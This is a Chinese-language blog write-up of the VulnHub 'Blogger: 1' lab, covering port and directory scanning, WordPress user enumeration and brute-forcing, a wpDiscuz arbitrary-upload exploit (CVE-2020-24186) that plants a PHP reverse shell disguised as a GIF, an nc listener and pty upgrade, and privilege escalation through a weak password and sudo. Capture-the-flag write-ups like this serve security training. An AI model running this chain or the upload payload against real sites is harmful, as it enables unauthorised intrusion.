• vulnhub blogger: 1


    渗透思路:

    nmap扫描端口 ---- gobuster扫描网站目录 ---- wpscan发现wordpress漏洞插件 ---- 利用插件wpdiscuz的未授权的任意文件上传漏洞(CVE-2020-24186)getshell ---- 弱密码提权

    环境信息:

    靶机:192.168.101.106

    攻击机:192.168.101.34

    具体步骤:

    1、nmap扫描端口

    sudo nmap -sV -sC -p- 192.168.101.106

    扫描到22和80端口

    2、gobuster扫描网站目录

    gobuster dir -u http://192.168.101.106 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

    只扫描到下图几个目录,一个个看过去,发现/assets目录内有乾坤

    http://192.168.101.106/assets/fonts/下有个目录叫blog,点了之后来到http://192.168.101.106/assets/fonts/blog/

    观察http://192.168.101.106/assets/fonts/blog/发现应该是个wordpress站点

    3、wpscan发现wordpress漏洞插件

    wpscan枚举wordpress用户名

    wpscan --url http://192.168.101.106/assets/fonts/blog/ -e

    发现用户jm3s

    然后爆破jm3s的密码,但是没有爆破出来

    wpscan --url http://192.168.101.106/assets/fonts/blog/ -U jm3s-P "rockyou.txt"

    接下来尝试用wpscan枚举wordpress插件,可以选mixed模式或者aggressive模式

    wpscan --url http://192.168.101.106/assets/fonts/blog/ --plugins-detection mixed

    发现两个插件,其中wpdiscuz有未授权的任意文件上传漏洞,可以getshell

    4、利用插件wpdiscuz的未授权的任意文件上传漏洞(CVE-2020-24186)getshell

    在利用任意文件上传之前,需要让网页正常显示,从网页源代码中可以推断,网站的hostname应该是

    blogger.thm

    修改攻击机的/etc/hosts,增加一行192.168.101.106 blogger.thm

    下面这篇文章是该漏洞的复现(CVE-2020-24186),照着做一遍就可以getshell

    https://www.jianshu.com/p/6f178aec2749

    先随便点一个文章,比如第一篇http://blogger.thm/assets/fonts/blog/?p=29

    拉到文章最下面,在提交评论的右下角有个图像的图标,点击这个图标

    将kali中/usr/share/webshells/php/php-reverse-shell.php重命名为shell.gif,并在文件内容的最前面加上"GIF89a"(不好意思图片里面写错了,不过居然过了验证^-^),然后将$ip和$port改为攻击机ip和监听端口。保存后在此处上传。

    上传过程中用burp抓包,将请求报文中filename改为shell.php

    响应报文中可以看到shell.php的存储路径http://blogger.thm/assets/fonts/blog/wp-content/uploads/2022/09/shell-1663674140.4664.php

    攻击机上nc监听8888端口

    nc -nlvp 8888

    浏览器访问

    http://blogger.thm/assets/fonts/blog/wp-content/uploads/2022/09/shell-1663674140.4664.php

    在攻击机监听端口上得到www-data的shell

    执行下面的代码可以得到交互式shell

    python3 -c 'import pty;pty.spawn("/bin/bash")'

    5、弱密码提权

    进入靶机/home目录发现有三个用户,经过尝试发现vagrant用户的密码和用户名相同,用su - vagrant命令提权到vagrant。

    提权到vagrant后,执行sudo -l,发现vagrant可以以任何用户的身份执行任何命令,因此可以用sudo su -命令提权到root

    两个flag文件分别是/home/james/user.txt和/root/root.txt,内容都是base64编码的,可以用cat xxx | base64 -d命令解码

    cat /home/james/user.txt | base64 -d

    cat /root/root.txt | base64 -d

  • 相关阅读:
    RK3588平台开发系列讲解(Pinctrl篇)Pinctrl设备树介绍
    leetcode 965.单值二叉树
    数字验证学习笔记——SystemVerilog芯片验证11 ——类的继承
    分享记账的目的,选择的记账方法
    Ubuntu将图标放置于任务栏
    Spring揭秘:AnnotationMetadata接口应用场景及实现原理!
    MySQL总结 (思维导图,常用)
    SRC实战 | CORS跨资源共享漏洞
    SmartX 超融合 5.1 版本有哪些新特性和技术提升?
    C++二分算法: 找出第 K 小的数对距离
  • 原文地址:https://blog.csdn.net/elephantxiang/article/details/127036945